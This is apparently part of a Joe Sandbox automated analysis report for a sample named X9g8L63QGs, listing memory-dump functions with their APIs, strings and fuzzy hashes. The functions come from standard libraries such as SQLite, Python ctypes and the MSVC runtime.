Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: -x0$0123456789ABCDEF0123456789abcdef$VUUU$VUUU
API String ID: 0-2031831958
Opcode ID: 27ee5c829f6d79043f4cbad637b212a471c0560ebe4aff584a080aef168f4e0b
Instruction ID: 13851b09d8f640b39c63ffd240191f3ef8849bf1d63f7c192e269977d5433dc8
Opcode Fuzzy Hash: 27ee5c829f6d79043f4cbad637b212a471c0560ebe4aff584a080aef168f4e0b
Instruction Fuzzy Hash: 6CD103E2A1D69286DB268F38D098F796B95FF54784F4A8035DE8E43786EF2CE540C704

Function 00007FFB1B6F6524 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFB1B6F6540
RtlCaptureContext.KERNEL32 ref: 00007FFB1B6F656D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFB1B6F6587
RtlVirtualUnwind.KERNEL32 ref: 00007FFB1B6F65C8
IsDebuggerPresent.KERNEL32 ref: 00007FFB1B6F661C
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFB1B6F6639
UnhandledExceptionFilter.KERNEL32 ref: 00007FFB1B6F6644

Memory Dump Source

Source File: 00000007.00000002.1714967826.00007FFB1B6F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FFB1B6F0000, based on PE: true

Associated: 00000007.00000002.1714933150.00007FFB1B6F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B708000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B710000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715084541.00007FFB1B712000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715123647.00007FFB1B714000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1b6f0000_X9g8L63QGs.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 1c345bf4b26225235b4d26d45e61a1bfcc5d62a5fa2cd55c6cf9bacb0669c0dd
Instruction ID: 8fb0e1ad9e59c83323aaf0bbb50137441fa64e44e7299f0e8b2f989c749cb850
Opcode Fuzzy Hash: 1c345bf4b26225235b4d26d45e61a1bfcc5d62a5fa2cd55c6cf9bacb0669c0dd
Instruction Fuzzy Hash: B4313CB2609F8186EB608F71E8503E97361FB95754F44903AEA8E57BA9DF3CD548C700

Function 00007FFB0C1ABE40 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFB0C1ABE5C
RtlCaptureContext.KERNEL32 ref: 00007FFB0C1ABE89
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFB0C1ABEA3
RtlVirtualUnwind.KERNEL32 ref: 00007FFB0C1ABEE4
IsDebuggerPresent.KERNEL32 ref: 00007FFB0C1ABF38
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFB0C1ABF55
UnhandledExceptionFilter.KERNEL32 ref: 00007FFB0C1ABF60

Memory Dump Source

Source File: 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFB0C1A0000, based on PE: true

Associated: 00000007.00000002.1713216867.00007FFB0C1A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1B9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1BF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713365488.00007FFB0C1C1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c1a0000_X9g8L63QGs.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 5c9d26001853adc99818a0497b1945147b5620d2729c7ee8dba9124f54c33512
Instruction ID: b85f2a7baa0ba5e643515a80f72213aa85457d5be719e4ba631ec002b8514fdf
Opcode Fuzzy Hash: 5c9d26001853adc99818a0497b1945147b5620d2729c7ee8dba9124f54c33512
Instruction Fuzzy Hash: 04315AB6609B8186EB608FA1E8547EE73A1FF84744F44407ADB4E47B98DF38C649C710

Function 00007FFB1BB1A9DC Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFB1BB1A9F8
RtlCaptureContext.KERNEL32 ref: 00007FFB1BB1AA25
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFB1BB1AA3F
RtlVirtualUnwind.KERNEL32 ref: 00007FFB1BB1AA80
IsDebuggerPresent.KERNEL32 ref: 00007FFB1BB1AAD4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFB1BB1AAF1
UnhandledExceptionFilter.KERNEL32 ref: 00007FFB1BB1AAFC

Memory Dump Source

Source File: 00000007.00000002.1715481605.00007FFB1BB11000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FFB1BB10000, based on PE: true

Associated: 00000007.00000002.1715437200.00007FFB1BB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715481605.00007FFB1BB25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715572310.00007FFB1BB26000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715611009.00007FFB1BB28000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1bb10000_X9g8L63QGs.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 6b4f96484e9d25cd3f5e70dcb344116a910c5711d29953f1dc89c1487fb3fecb
Instruction ID: 47c185ab55784d4ec65e74d58b38b17c181ce7f81ecb7b74ba7d834f01fc2dc3
Opcode Fuzzy Hash: 6b4f96484e9d25cd3f5e70dcb344116a910c5711d29953f1dc89c1487fb3fecb
Instruction Fuzzy Hash: E0314AB6609E81CAEB709F60F8543EA73A5FB84754F00903ADA4D47AA4DF3CD649C710

Function 00007FFB1AB04630 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFB1AB0464C
RtlCaptureContext.KERNEL32 ref: 00007FFB1AB04679
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFB1AB04693
RtlVirtualUnwind.KERNEL32 ref: 00007FFB1AB046D4
IsDebuggerPresent.KERNEL32 ref: 00007FFB1AB04728
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFB1AB04745
UnhandledExceptionFilter.KERNEL32 ref: 00007FFB1AB04750

Memory Dump Source

Source File: 00000007.00000002.1714746731.00007FFB1AB01000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFB1AB00000, based on PE: true

Associated: 00000007.00000002.1714712112.00007FFB1AB00000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714746731.00007FFB1AB0E000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714746731.00007FFB1AB11000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714860777.00007FFB1AB12000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714897323.00007FFB1AB13000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ab00000_X9g8L63QGs.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 41411a27d507602669186cf501f180bbbc9ffe95d56815b0de37bc952dd6e872
Instruction ID: c38681a6a6b498fc82b4cf02c5be1663efff621e19b63dc958a2d790cc661b11
Opcode Fuzzy Hash: 41411a27d507602669186cf501f180bbbc9ffe95d56815b0de37bc952dd6e872
Instruction Fuzzy Hash: 1B314CB6609FC186EB708F60E9803AA6379FB84764F40417ADA4E57A95EF3CE5488710

Function 00007FFB0C03C380 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 377COMMON

Download Yara Rule

Strings

recovered %d frames from WAL file %s, xrefs: 00007FFB0C03C8D8
, xrefs: 00007FFB0C03C40F

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: $recovered %d frames from WAL file %s
API String ID: 0-3175670447
Opcode ID: 5b39556d8798284ef51883c6a8a336aae58982f94e60b940d7809ca3056fce41
Instruction ID: 21dd2e07d5964e0343ccf5128236c9a6e6af9a585092f73f52b97a696bd3ebb6
Opcode Fuzzy Hash: 5b39556d8798284ef51883c6a8a336aae58982f94e60b940d7809ca3056fce41
Instruction Fuzzy Hash: 9CF1B0B2A0878686E764DF35D048B6E77A4FB84B88F014135DE5D97798EF38D844CB48

Function 00007FFB1C257BDC Relevance: 58.1, APIs: 4, Strings: 29, Instructions: 381COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C258147
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25817F
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C2581B9

Strings

short, xrefs: 00007FFB1C257CA1
__int64, xrefs: 00007FFB1C257E87
unsigned , xrefs: 00007FFB1C258107
__int8, xrefs: 00007FFB1C257DF9
long , xrefs: 00007FFB1C257CF2
wchar_t, xrefs: 00007FFB1C258071
char16_t, xrefs: 00007FFB1C257EE0
bool, xrefs: 00007FFB1C257EA8
auto, xrefs: 00007FFB1C257F13
long, xrefs: 00007FFB1C257C7D
char, xrefs: 00007FFB1C257CB3
char32_t, xrefs: 00007FFB1C2580CD
volatile, xrefs: 00007FFB1C257FCC
float, xrefs: 00007FFB1C257D35
int, xrefs: 00007FFB1C257C8F
char8_t, xrefs: 00007FFB1C257F01
double, xrefs: 00007FFB1C257D09
__int32, xrefs: 00007FFB1C257E96
decltype(auto), xrefs: 00007FFB1C25802A
volatile, xrefs: 00007FFB1C257FF9
__int128, xrefs: 00007FFB1C257E78
__int16, xrefs: 00007FFB1C257DE7
void, xrefs: 00007FFB1C257D47
<unknown>, xrefs: 00007FFB1C257EF2
UNKNOWN, xrefs: 00007FFB1C258056
__w64 , xrefs: 00007FFB1C257E20
const, xrefs: 00007FFB1C257FB1
signed , xrefs: 00007FFB1C258117
this , xrefs: 00007FFB1C258095

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Name::operator+
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$float$int$long$long $short$signed $this $unsigned $void$volatile$wchar_t
API String ID: 2943138195-1482988683
Opcode ID: a2c27aef857a1be5b859030660f08b7ca73635be6048625c1ed2e335bbf60e8e
Instruction ID: 78a4183b0eafddf3b29801e9f898a6b5be62db6f2e69049d5e819d06dfe3ea90
Opcode Fuzzy Hash: a2c27aef857a1be5b859030660f08b7ca73635be6048625c1ed2e335bbf60e8e
Instruction Fuzzy Hash: 180263E2F58E12CAF714AB74D4582FE27A2BB06764F644135CE0D16B98DFADAD44C380

Function 00007FFB1C25B64C Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B6DD
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B716
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B7EA
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B7FB
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B85E
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B86E
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B8BA
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B8CC
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25BA41
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25BAC1
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25BAD0

Strings

`anonymous namespace', xrefs: 00007FFB1C25B99E

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Name::operator+
String ID: `anonymous namespace'
API String ID: 2943138195-3062148218
Opcode ID: aec32b62843f06ec98af653d191f262bc38b8bb7144c10d1108c11b28ce6cb84
Instruction ID: ab44b3e34776cbfdc49f06be53080314504cd7e1821602de15af920ee26d6375
Opcode Fuzzy Hash: aec32b62843f06ec98af653d191f262bc38b8bb7144c10d1108c11b28ce6cb84
Instruction Fuzzy Hash: 6AE17BF2A08F8296EB10AF34E4881EA77A2FB45764F645031EB4D17B95DF38D954CB80

Function 00007FFB1B6FD4F0 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 241COMMON

Download Yara Rule

APIs

00007FFB2ADA3440.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1B6FD690
00007FFB2ADA3440.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1B6FD69B
GetLastError.KERNEL32 ref: 00007FFB1B6FD6AD
SetLastError.KERNEL32 ref: 00007FFB1B6FD6B9
GetLastError.KERNEL32 ref: 00007FFB1B6FD74F
SetLastError.KERNEL32 ref: 00007FFB1B6FD75B
00007FFB2ADA3440.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1B6FD76A
00007FFB2ADA3440.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1B6FD775

Strings

Parsing argument %zd, xrefs: 00007FFB1B6FD709
on converting result of ctypes callback function, xrefs: 00007FFB1B6FD81C
memory leak in callback function., xrefs: 00007FFB1B6FD7FE
create argument %zd:, xrefs: 00007FFB1B6FD6C1
unexpected result of create argument %zd:, xrefs: 00007FFB1B6FD6E9
on calling ctypes callback function, xrefs: 00007FFB1B6FD738
cannot build parameter, xrefs: 00007FFB1B6FD6F9

Memory Dump Source

Source File: 00000007.00000002.1714967826.00007FFB1B6F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FFB1B6F0000, based on PE: true

Associated: 00000007.00000002.1714933150.00007FFB1B6F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B708000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B710000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715084541.00007FFB1B712000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715123647.00007FFB1B714000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1b6f0000_X9g8L63QGs.jbxd

Similarity

API ID: 00007A3440ErrorLast
String ID: Parsing argument %zd$cannot build parameter$create argument %zd:$memory leak in callback function.$on calling ctypes callback function$on converting result of ctypes callback function$unexpected result of create argument %zd:
API String ID: 848807496-1876801404
Opcode ID: aa32c78b9395636ceacc966a5ec85ec568c26a00442ece316da8dead0e0a2199
Instruction ID: 6e82aadeeaaac3ad489b2c30d3fbc1253183e99376ca1da9b69be356dafea44d
Opcode Fuzzy Hash: aa32c78b9395636ceacc966a5ec85ec568c26a00442ece316da8dead0e0a2199
Instruction Fuzzy Hash: 64B150B2A04E4285EF54DF35E8642696362FF25BA8F44A53AE92D477B4DF3CE448C300

Function 00007FFB1C25C4B4 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 359COMMONLIBRARYCODE

Download Yara Rule

APIs

atol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FFB1C257810), ref: 00007FFB1C25C91A
DName::DName.LIBVCRUNTIME ref: 00007FFB1C25C959
swprintf_s.PGOCR ref: 00007FFB1C25C979
DName::DName.LIBVCRUNTIME ref: 00007FFB1C25C989
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25C9D9

Strings

`template-type-parameter-, xrefs: 00007FFB1C25C9FA
NULL, xrefs: 00007FFB1C25C581
lambda, xrefs: 00007FFB1C25C878
`generic-method-parameter-, xrefs: 00007FFB1C25C9A6
`generic-class-parameter-, xrefs: 00007FFB1C25C9EA
nullptr, xrefs: 00007FFB1C25C69D

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: NameName::$Name::operator+atolswprintf_s
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr
API String ID: 2331677841-2441609178
Opcode ID: 3c29747ae8710b15564f16d6c1c734fd538530989b0780686262821ebccf47fd
Instruction ID: 636c22e7aee314083cab4f247b0a89b6e442d6b6f2597933e498cdf89a758e2d
Opcode Fuzzy Hash: 3c29747ae8710b15564f16d6c1c734fd538530989b0780686262821ebccf47fd
Instruction Fuzzy Hash: EBF151F2E08E5286FA15BB74C55C1FE2662AF4A764F640236CD0D27B95EF3CAD4582C0

Function 00007FFB1C259B14 Relevance: 19.9, APIs: 13, Instructions: 361COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C259B65
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C259C2E
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C259C77
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C259C88

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 41ef1431114346efaab8c60343cd86bdbcd24c7489ef4566e00d5aa078ef8b87
Instruction ID: 23150599fc764bc595b6eb95995090ddc5d2959b1a432a75b326035cc2c670cf
Opcode Fuzzy Hash: 41ef1431114346efaab8c60343cd86bdbcd24c7489ef4566e00d5aa078ef8b87
Instruction Fuzzy Hash: 59F18BF6B08A829AE710FF74E4941FE37B2AB0675CB544036EA0D57B99DE38D915C380

Function 00007FFB0C1A69BC Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A6A9F
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A6ABA
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A6AD1
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A6AE9

Strings

delete, xrefs: 00007FFB0C1A6AC7
insert, xrefs: 00007FFB0C1A6A92
query string is too large, xrefs: 00007FFB0C1AD40B
update, xrefs: 00007FFB0C1A6AB0
You can only execute one statement at a time., xrefs: 00007FFB0C1AD3E5
the query contains a null character, xrefs: 00007FFB0C1AD41B
replace, xrefs: 00007FFB0C1A6AE2

Memory Dump Source

Source File: 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFB0C1A0000, based on PE: true

Associated: 00000007.00000002.1713216867.00007FFB0C1A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1B9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1BF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713365488.00007FFB0C1C1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c1a0000_X9g8L63QGs.jbxd

Similarity

API ID: 00007
String ID: You can only execute one statement at a time.$delete$insert$query string is too large$replace$the query contains a null character$update
API String ID: 3568877910-1845899854
Opcode ID: 81f0315fdac4b158a46847c30f6c6da32f3beb1c5dcd7c36fb0fbca1c06307aa
Instruction ID: befa09f8aee252627494d2649b885278358fba08dace6cc9a98c407a34e39649
Opcode Fuzzy Hash: 81f0315fdac4b158a46847c30f6c6da32f3beb1c5dcd7c36fb0fbca1c06307aa
Instruction Fuzzy Hash: 7E517CE5B08B4286EE149F76E84897963A1FF84B90F4841B1DE5E47BA4EF3CE446C700

Function 00007FFB0C09D610 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 386COMMON

Download Yara Rule

Strings

no entry point [%s] in shared library [%s], xrefs: 00007FFB0C09DAAC
_init, xrefs: 00007FFB0C09D90E
%s.%s, xrefs: 00007FFB0C09D6DC
error during initialization: %s, xrefs: 00007FFB0C09D9D6
lib, xrefs: 00007FFB0C09D861
unable to open shared library [%.*s], xrefs: 00007FFB0C09DC1F
sqlite3_, xrefs: 00007FFB0C09D813
not authorized, xrefs: 00007FFB0C09D683
sqlite3_extension_init, xrefs: 00007FFB0C09D69A

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: %s.%s$_init$error during initialization: %s$lib$no entry point [%s] in shared library [%s]$not authorized$sqlite3_$sqlite3_extension_init$unable to open shared library [%.*s]
API String ID: 0-3733955532
Opcode ID: 4828297cf84a1580d1be4d8346d77b2af936a330775195fb116fcdeafb873839
Instruction ID: 5f8d6c89447f2467c1ba53cb90b25ae50a32ceb0470267f30223c886d3835fe9
Opcode Fuzzy Hash: 4828297cf84a1580d1be4d8346d77b2af936a330775195fb116fcdeafb873839
Instruction Fuzzy Hash: 00029CE1A4DB8285EA599B31E45CBB963A1FF85B81F484135DE5E077A1EF3CE508C308

Function 00007FFB0C05B0C0 Relevance: 17.8, APIs: 2, Strings: 8, Instructions: 330COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFB0C05B1C3
00007FFB1C263010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFB0C05B2A4

Strings

'%.*q', xrefs: 00007FFB0C05B415
%!.15g, xrefs: 00007FFB0C05B37E
-- , xrefs: 00007FFB0C05B153, 00007FFB0C05B172
zeroblob(%d), xrefs: 00007FFB0C05B460
?, xrefs: 00007FFB0C05B2B8
NULL, xrefs: 00007FFB0C05B32D
%lld, xrefs: 00007FFB0C05B361
%02x, xrefs: 00007FFB0C05B4C4

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: %!.15g$%02x$%lld$'%.*q'$-- $?$NULL$zeroblob(%d)
API String ID: 3122504284-875588658
Opcode ID: 2f58605a80ece0dbe873986359c22506b80aa05e97296c1e5264f92375f5e100
Instruction ID: fde7c398ef4605b5f975d0e996263224f7bd3953f91492619d397a7535785441
Opcode Fuzzy Hash: 2f58605a80ece0dbe873986359c22506b80aa05e97296c1e5264f92375f5e100
Instruction Fuzzy Hash: 9CE16EF2F086528BFB25CF74D458BBD37A0AF04748F444135DA4E66A99EF38A845C748

Function 00007FFB0C077760 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 327COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C077AD2

Strings

SELECT raise(ABORT,%Q) FROM "%w"."%w", xrefs: 00007FFB0C0778F7, 00007FFB0C077973, 00007FFB0C077A81
cannot add a STORED column, xrefs: 00007FFB0C077A72
